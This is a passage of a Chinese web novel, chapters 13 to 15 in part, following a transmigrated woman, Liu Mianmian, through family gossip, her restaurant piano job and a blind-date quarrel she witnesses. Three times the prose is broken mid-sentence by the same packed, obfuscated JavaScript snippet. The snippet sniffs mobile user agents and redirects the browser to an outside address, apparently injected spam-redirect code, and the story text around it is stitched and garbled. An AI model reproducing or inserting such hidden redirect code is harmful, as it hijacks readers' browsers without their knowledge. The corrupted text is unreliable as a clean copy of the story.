沈维鸿被他看得很不自在,觉得今天的沈维舟有些陌生,眼神特别冷,让他莫名有种被猛兽冷冷注视的错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670007|173112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉。 硬着头皮干笑了下:“当然。” 沈维舟不置可否:“再说吧。” 柳绵绵他们回到求知巷时,刘婶已经回来了,正在厨房热火朝天地做饭,嘴里时不时哼一句戏,看来对下午的戏非常满意。 “哦哟,那肯定满意的啰,樊文芳哎,平时去买票都看不到的。”刘婶乐呵呵地跟柳绵绵分享,“樊先生唱得真好啊,扮相也好。江北村嘛也是运道好,那个投资搞芷江大桥的林大老板,就是他们村子出去的,哦哟,这几年给他们村里捐了不知道多少钱,戏台子搭得比人民剧院都要好了哦!” 又放低了音量问柳绵绵:“维舟陪你去百货大楼啦,他付钱了没,哦哟,让他付钱,他有钱的呀。” 大概是觉得结了婚就是一家人,刘婶说起沈家的事情也没怎么藏着掖着:“他奶奶给他留了不少东西的,老太太在的时候,最心疼他了。” 柳绵绵觉得奇怪,沈维鸿嘴里的奶奶还盼着沈维舟回军区大院看看呢,怎么刘婶说得老太太已经不在了一样。 大白天的,听着有点瘆得慌。 刘婶轻轻拍了她一下:“哦哟,你这孩子!” 跟她解释:“军区大院那个方美云,是维舟爷爷,就是沈志邦,在战场上遇见后娶的。维舟的奶奶叫徐蕙兰,是南城徐家的大小姐。那年月到处打仗,沈志邦以为维舟奶奶已经死了,就另娶了。解放后两边又遇上了,维舟奶奶就和沈志邦离了婚。” 说起徐蕙兰,刘婶有些难过,听见柳绵绵说在百货大楼碰见沈维鸿,表情顿时又满满的嫌弃:“那小子哦就是个笑面虎,面甜心苦,嘴巴嘛跟抹了蜜一样的甜,心里头嘛巴不得维舟出事,整天在沈志邦面前挑拨呢。” 柳绵绵吃了好大一口瓜。 也就是说,沈教授和沈维鸿他爹其实是同父异母的,沈维舟和沈维鸿的关系就更远一层了。 难怪呢,说起沈维舟有钱的时候,沈维鸿一副阴阳怪气的模样,敢情这钱都是沈维舟亲奶奶的,跟他没有一毛钱关系。 亏他还说什么奶奶也盼着你经常回去,那是谁的奶奶哟? 沈维舟没被恶心吐,都算他身体状况还算不错了。 沈维鸿这男主可真是一言难尽……不对啊,柳绵绵忽然反应过来,原书里没有这些内容啊! 原书里提到沈维舟时,就只说了他的身份是女主白月光,同时是男主的堂兄。 书里还提到过,沈维舟病逝前正在研究某个重要军工项目,后面沈维鸿继承他的遗志,花费数年时间,完成了这项研究,推动华国军工某领域取得了跨越式的发展。 不知道他们真实关系时,还挺让人感动的,知道以后,这可真是……他喵的! 这书谁写的啊,为了塑造男主伟光正的形象,把家庭关系都给吃了是吧? 好气。 不过也没多少时间可以给柳绵绵气了,因为上班时间又快到了。 “你要早点吃了去上班?!”刘婶惊讶得声音都快劈叉了,“哦哟,你什么时候找的工作啦,什么工作,在哪里,怎么这个点要去上班的啦?” 门外,沈维舟突然顿住脚步,看向厨房方向。 14. 第14章 晚上九点多,柳绵绵工作结束,揣着晚餐时间赚到的六元钱,喜滋滋往外走,刚走到西餐厅门口,就听见有人喊她:“绵绵。” 是俞婉和沈伯康来接她了。 “这几年治安越来越不好,偷窃、抢劫都多了不少,以后你下班,我们都来接你。”俞婉笑着说,“我和你爸爸要是没空,就让你王叔来接。” 柳绵绵完全没考虑到这个问题。 毕竟她上辈子那个时代,晚上九点广场舞大妈才刚结束炫舞,年轻人夜生活都还没开始呢,大街小巷都是人,根本还不到需要担忧安危的时间。 倒是忘记了,这个年代娱乐活动少,大部分人夜里八九点钟就洗洗睡了,路上人少,也没个摄像头什么的,确实不太安全。 柳绵绵心里感动,嘴上却嘀咕了声“多事”,俞婉也不生气,宽容地笑笑,柳绵绵顿时感觉,自己就像一个无理取闹的熊孩子。 “本来是想着你和维舟刚结婚,先在家适应一段时间,再考虑工作的事情。没想到你这么能干,自己找到了工作。”俞婉笑眯眯地夸,也是和柳绵绵解释,他们并非没把她工作的事放在心上。 回到家,刘婶等在门上,见他们回来,忙问饿不饿,说特地留了鸡汤,可以烧面条给他们当宵夜。 柳绵绵摸摸自己的小腹,她才穿越没几天,感觉身上肉已经比刚穿来时多了不少,实在是刘婶的手艺太好了。她忍住诱惑,坚坚决拒绝:“不吃宵夜,我要减肥。” 见刘婶一脸疑惑,柳绵绵反应过来,国家还在努力解决贫困和温饱问题呢,哪里会有减肥这种说法。她又解释了一下:“我最近吃胖了,要减点肉。” 俞婉笑道:“港城人受国外影响,大概很注重控制体重,可你不胖呀,刚刚好的。”她以为是西餐厅里的港城人说了什么。 柳绵绵心说便宜婆婆真是太好了,人又温柔又会说话,不过她不是听西餐厅的人说了什么,她是真的需要减肥。 不吃宵夜,早饭总可以先想想吧,柳绵绵跟刘婶说明早想吃又脆又香的烧饼,刘婶终于满意了,说会打豆腐脑来给她配烧饼吃。 虽然才九点多,但柳绵绵已经感觉又累又困。想想她这一天确实干了不少事,弹了五小时的钢琴,还去了旧货商店和百货大楼。 还是赶紧回房睡觉吧。 屋里亮着台灯,沈维舟坐在写字台前,面朝黑漆漆的窗外。 柳绵绵拉了下灯绳,天花板上的日光灯亮了起来,沈维舟倏地扭头向她看过来,眼神警醒而冰冷,柳绵绵吓了一跳,定睛再看时,他已经转过头去了。 这人也不知道怎么回事,有时候看人的眼神犀利得可怕。 不过作为“同床室友”,柳绵绵倒是不怕沈维舟。 一个病入膏肓的弱鸡,眼神再可怕有什么用?没见家里安排人去接她下班,都没考虑过他。 柳绵绵没再管沈维舟,自己拿了东西进卫生间洗漱。 等她洗漱完出来,沈维舟依然坐在写字台前,连姿势都没变过。 柳绵绵好奇看了眼窗户,开了日光灯以后,室内光线充足,玻璃窗就变成了镜子,窗外景色是看不到了,只能看到屋里的。 大晚上的,沈维舟总不至于是坐这儿照镜子吧? 心里正吐槽,视线在“镜子”里与沈维舟对上了。 “……” 果断扭头上床。 “你什么时候找的工作?”沈维舟突然问。 柳绵绵觉得稀奇,别看他俩朝夕相处,其实很少说话的。沈维舟那副样子,明显就是拒人千里之外,她没有受虐倾向,自然也不会觍着脸往上凑。没想到他竟然主动关心她的工作? 柳绵绵一边拽被子一边回答:“结婚第二天。” 沈维舟沉默了许久,才又出声问:“为什么会想到去西餐厅找工作?” 柳绵绵已经钻进被窝,打了个哈欠,说:“哪有那么多为什么?那天吃完早饭随便逛了逛,刚好看见他们家在招工,就去试试啰。自己挣钱自己花,走遍天下都不怕。” 沈维舟只听过“学好数理化,走遍天下都不怕”。 不过这不重要,重要的是,自私自利、连私奔的时候都不忘卷走他家财物的柳绵绵,居然会说出“自己挣钱自己花”这样的话。 重要的是,在本该私奔的日子,她竟然跑去西餐厅上班了。 回家以后,沈维舟已经检查过报警装置,设备没有任何问题,事实就是柳绵绵根本就没去他父母房间里找过东西。 她没有偷盗财物。 她也没有私奔离开。 她甚至找了工作,一副准备好好过日子的样子。 沈维舟感觉自己像是一拳头打在了棉花上,这些日子以来,在心头汹涌的那些情绪,厌恶,愤怒,即将大仇得报的兴奋,和隐隐的犹豫与不安……嘭地一下,全都化作一片茫然的空虚。 啪地,迷迷糊糊中的柳绵绵伸手关掉了日光灯。 周围更安静了。 在这片没有丧尸嘶吼、怪物尖叫的安静中,沈维舟听到柳绵绵的呼吸声变得绵长,没多久,她发出了极轻极轻的呼声。 夜越来越深了。 第二天柳绵绵醒来的时候,窗外已经艳阳高照。 另一半床上照例只有叠得整整齐齐的被子。柳绵绵现在都开始怀疑,沈维舟夜里是不是不睡觉的。难怪那么虚,被原主私奔的事一刺激,马上就病发身亡了。 柳绵绵决定偷偷告诉刘婶,让家里长辈治治他。 一早买来的烧饼和豆腐脑都已经凉了,刘婶用烧水的煤炉子重新回锅加热了一下,原本已经有些软趴趴的烧饼,立马变得更脆更香了。 南省人吃豆腐脑不拘咸甜,爱吃咸的吃咸的,爱吃甜的吃甜的。柳绵绵喜欢咸甜搭配着吃,烧饼是咸的,豆腐脑里就舀了一大勺红糖。 刘婶坐在小板凳上摘菜,手里动作飞快,不过一点没影响她说话:“你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670008|173112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨天不是在百货大楼碰见那个谁了吗,哦哟,肯定回去挑拨离间了。上午军区大院那边来电话,沈志邦问维舟,既然身体没什么不舒服,有时间去逛百货大楼,怎么没时间带着新媳妇儿去军区大院吃个饭?” 柳绵绵咔咔咬着烧饼,含含糊糊说:“我要上班的。” 刘婶摆摆手:“放心好啦,维舟说手头有个什么东西要研究,没工夫过去吃饭的。” 叹了口气,又说:“接完电话就又钻进书房去了,不搞那些电线啊管子啊铁盒子什么的了,一直坐在那里写写画画。也不知道是要做什么研究,太辛苦了哦,他那个身体,怎么吃得消哟!” 研究什么,研究重要军工项目,而且研究到一半人还嘎了,后面项目落在沈维鸿手里,纯纯就成了为人做嫁衣裳的大冤种。 想到这里,柳绵绵鬼鬼祟祟看了窗外一眼,压低声音和刘婶一通说,刘婶听着眉头越皱越紧:“哦哟,这样当然不行的,不睡觉身体怎么会好啦,我回头和他爸爸妈妈说去。” 柳绵绵嘿嘿一笑,深藏功与名。 她没有和原主一样私奔,沈维舟就不会因为新婚妻子跑路而受到刺激,家里长辈再管着点,没准他能活得长一点。 最好是活到把那个什么军工项目给研究出来,让沈维鸿吃屁去。 刘婶摘完了菜,见柳绵绵还在慢悠悠地喝豆腐脑,于是说:“你先吃着,我出去一下就回来。” 柳绵绵以为刘婶是出门去找邻居们闲磕牙了,当然,事实上也差不多,只不过刘婶今天是带着目的去。 “小沈媳妇儿找到工作了,还是她自己找的?!”大妈们震惊了。 刘婶昂首挺胸,仿佛找到工作的人是她:“港城老板开的那家西餐厅,哦哟,之前五号院的小邹不是去吃过吗,很有格调的。沈教授和俞主任都说,那个地方工作环境不错,离家也近,绵绵去那里工作很合适啦!” “工作时间很短的,几个小时,工资应该蛮高的,港城老板开的店,比其他地方肯定要高的啰。好啦好啦,我还要回去做午饭呢,回头再说啦!” 刘婶匆匆地来,又匆匆地走了,留下大妈们面面相觑。 “说得好听点是西餐厅工作,说难听点就是去当服务员嘛,有什么好神气的哦!”曹大妈撇嘴说。 “服务员哪里难听了,国营饭店服务员,你想当还当不了呢。”一位大妈嘀咕,“也不晓得那个西餐厅还招不招人哦?” 一语惊醒梦中人。 这年头谁家没个无业在家、闲得抠脚的亲戚? 大妈们一哄而散。 曹大妈也匆匆跑回家,想要打电话给自家没工作的侄子。 他儿子正好下班回来,问清楚情况后,扶额叹息:“妈你别折腾了,那家西餐厅的服务员都是从中学毕业生里挑的长得好、脾气好的,早招满了。还在招的是钢琴师,表弟会弹钢琴吗?!” 就他那个被家里宠坏的表弟,可省省吧。 15. 第15章 周五早上,柳绵绵刚坐下吃早餐,听见正房那边电话嘀铃铃直响,不一会儿,就见刘婶骂骂咧咧地从窗外小跑过去,她忍不住噗嗤笑了出来。 这阵子军区大院那边每天雷打不动打电话过来,头两天老爷子还语带埋怨,到了第三天,接电话的人就变成了刘婶,一句“维舟去研究所了,忙着没空”,直接把人打发了。 刘婶是沈维舟奶奶徐蕙兰女士的表外甥女,当年她的母亲,也就是徐蕙兰女士的表姐,据说当面都是要啐沈志邦是个现世陈世美的。刘婶好一点,顶多就是说话不太客气。 研究所那边不好随意打扰,于是那天以后就变成老爷子的警卫员每天打电话来,一则是盯着沈维舟的行踪,二则也是无形中的施压。长辈天天盼着呢,你们还真能一直不过去? 刘婶每天接电话都要骂一句闲着没事干。 柳绵绵从餐厅敞开的窗子探头出去,果然听见刘婶难得的大嗓门:“闲着没事干天天打电话,打电话是不要钞票的吗,你们不要钞票,国家也要钞票的呀!好了好了,这礼拜天休息就过去,明天就不要再打电话来了!天天催,天天催,礼拜天要烧龙肉给他们吃的哦!” 柳绵绵差点笑岔气。 刘婶平时真是再和气不过的一个人,好像也只有说起军区大院那家人时,才会这样阴阳怪气。 一直拖着不去也不是办法,周日西餐厅有剧团的人过来兼职,柳绵绵轮到休息,沈维舟那边也说有空,于是家里商量了下,准备让他们小夫妻带着沈维云一起过去。 嗯,就等着去军区大院吃龙肉了。 吃过早饭,柳绵绵顺手洗了碗,从屋里搬了躺椅出来,躺在石榴树下晒太阳。 清明一过,早春的寒意渐渐被驱散,春深叶茂,阳光也越来越烈,晒不了多久太阳啰。 中午照例踩点去上班。西餐厅生意不错,十多天下来,柳绵绵已经拿到了六十多元点曲费,“小金库”日益充盈。目前为止她对这份工作非常满意。 而且,柳绵绵最近发现,西餐厅这个工作不但收入高,有时候还能一线吃瓜,简直挣钱娱乐两不误。 就比如今天,坐在她侧前方的一对男女,明显是来相亲的。女方背对这边,还被柱子挡了一半身体,看不清。男方正好面向这边,是个长相普通头发稀疏,看着年纪还有点大的男人。 男人从一落座就开始叭叭叭,离得近,他嗓门又不轻,柳绵绵听得清清楚楚。 “你爸是车间主任,我妈是街道干部,咱们这就叫门当户对。” 第一次听说这种门当户对。 “你条件确实是比我差一点,我是街道办干事,是干部身份,你是国营工厂临时工,连正式工都不是,咱们这就差了两个级别了。” 笑死,还差两个级别,不知道的得以为他至少是个处级干部吧? “你们家也是奇怪,你爸好歹也是个车间主任,给你转正都做不到吗?哎,算了算了,我也不嫌弃你。低头娶妻,抬头嫁女嘛,讨老婆有时候是得低低头,放低一些要求,这个我还是懂的。女人也不用太有事业心,相夫教子才是最重要的。” 这样解释低头娶妻抬头嫁女这句话,真是让人大开眼界。 柳绵绵轻柔按着琴键,眼神和站在过道上的服务员小姑娘田苗苗对上,俩人不约而同露出鄙夷的神情。 那边还没叭叭结束呢:“听说你想辞了工作去干个体户,这肯定不行的。你说你怎么会有这种想法,个体户是什么,都是些找不到工作的二流子,咱们这样的家庭,怎么能去干这种?我知道临时工工资低,你想多挣点,可是你也不能这样自甘堕落。你也不要想东想西了,等咱们结婚了,家里支出大头都是我爸妈负担,咱们支出少,工资都不怎么用得着。” 说半天,意思是结婚以后公婆掌家,自己工资也不会交给老婆,还不让老婆出去做个体户挣钱呗。 柳绵绵都有点佩服坐他对面那个姑娘了,竟然能一直忍着听他叨叨,既没泼他一杯水,也没骂他一声普信男。 “我妈翻过黄历了,这个月有点赶,下个月三号是个适合结婚的好日子。咱们这样的家庭,也不适合大操大办,俭朴一点……” 眼看谈话直接就奔着结婚去了,对面那个姑娘终于忍不住出声了:“你这人还挺逗。” 这个声音有点耳熟,柳绵绵回忆几秒,想起这是军工大院住柳家隔壁的蒋红梅,她爸是南城军工厂二车间车间主任。 真是风水轮流转,这位那天看她要彩礼钱的热闹看得很欢,这才半个月都不到呢,轮到她自己被看热闹了。 那边的对话还在继续。 男人显然不满蒋红梅的态度:“你这是什么意思,你这样说话太轻浮了,结婚以后这些坏毛病你一定要改掉……” 蒋红梅打断他:“你说的这些,相夫教子,不做个体户,我做不到,咱们不合适。”说完她就站了起来。 她觉得已经说清楚了,转身正要走人,男人却突然站起来:“你爸妈已经同意我们结婚,你……”他伸手就去拽蒋红梅,蒋红梅一直压着的火气终于爆发了出来,一巴掌抽在他的脸上。 “把你的手拿开!”蒋红梅冷冷说,“好好说话你听不懂是吧?那我就直说了。你家里没有镜子的话,就早上起来撒泡尿照照自己,就你这样的,也好意思嫌弃别人?真是长得丑想得美。我爸妈同意结婚,你跟我爸妈结婚去!” “太粗俗了,你太粗俗了!” 男人气得脸涨得通红,伸手想打回去,餐厅这边两个小伙子冲过来把人拉住了。 蒋红梅也没再火上浇油,扭头就走了。 “你们做什么,你们就是这样对待来用餐的客人吗?”男人想追上去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15676104|173112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奈何两个小伙子力气都不小,他话锋一转,开始指责餐厅,“你们餐厅不是号称客人就是上帝吗,真是笑话,上帝还能在你们这儿被人打?!你们有不可推卸的责任!” “既然你这么觉得,那要么大家一起去派出所,请公安同志帮忙评评理,究竟是谁的责任。”柳绵绵问,“你看这样行吗,街道办的同志?” 一听派出所和街道办,男人就像被掐住喉咙的鸭子,一下就没声儿了。 他盯着站在钢琴前的漂亮女人,嘴巴张张阖阖,最后色厉内荏说了句“算了,不跟你们这些人一般见识”,就匆匆往外走。 在门口被收银喊住买单,他又叽叽歪歪了一句“这么贵”,不过也没敢多说什么就走了。 柳绵绵都能想象他的内心独白:算了算了,我们这样的家庭,丢不起这个脸。 蒋红梅说的没错,挺逗的。 小插曲过去,餐厅内很快恢复安静。 “好可怕,怎么会有这样的人,就像你上回说的,弄得跟家里有皇位要继承一样哦。”田苗苗拿了个托盘过来,悄咪咪吐槽了一句,才说,“柳姐,三号桌点了一首曲子。” 苏联作曲家肖斯塔科维奇的作品,《第二圆舞曲》。 三号桌是餐厅常客,隔三差五过来,偶尔会点一首曲子,都是苏联的歌曲。 弹完这首曲子,也就到了下班时间,柳绵绵领了今天的点曲费,和餐厅其他人说了声“晚餐见”,晃悠着出了门。 一出门就看见蒋红梅靠在餐厅招牌旁侧的墙上,见她出来,挥挥手算是打招呼。 柳绵绵没想到她还在:“你还没走啊?” 蒋红梅:“早回去早挨骂,不如晚点回去。” 柳绵绵觉得这人还挺有意思的:“我刚才就很好奇,你怎么能忍他那么长时间的?”上次见面她就看出来了,蒋红梅可不是那种闷声不吭、任人欺负的个性。 “他大伯在国防工业办上班,是军工厂的顶头上司,出门前我爸千叮咛万嘱咐,尽量给对方留个好印象。”蒋红梅无奈道,“可惜了,忍半天白忍了,还不如一开始就抽他。” “算了,不说这些倒霉事了。”蒋红梅又说,“今天谢谢了啊!” 她看见柳绵绵冲几个服务员使手势了,要不是服务员拉偏架,她今天怕是没那么容易脱身。 柳绵绵摇摇头:“小事情,餐厅本来也要维持秩序的。” 蒋红梅点点头,沉默了一会儿,说:“我也不欠你的,你帮我一次,我跟你说个消息。” 柳绵绵挑了一下眉。 蒋红梅说:“我那天碰巧看见柳锦诗去找朱永齐,我听她说的话,好像是想挑拨朱永齐,去你婆家泼你脏水。具体怎么回事我不知道,你自己小心点吧。” 柳绵绵:“……” 她这也算是吃瓜吃到自己身上了。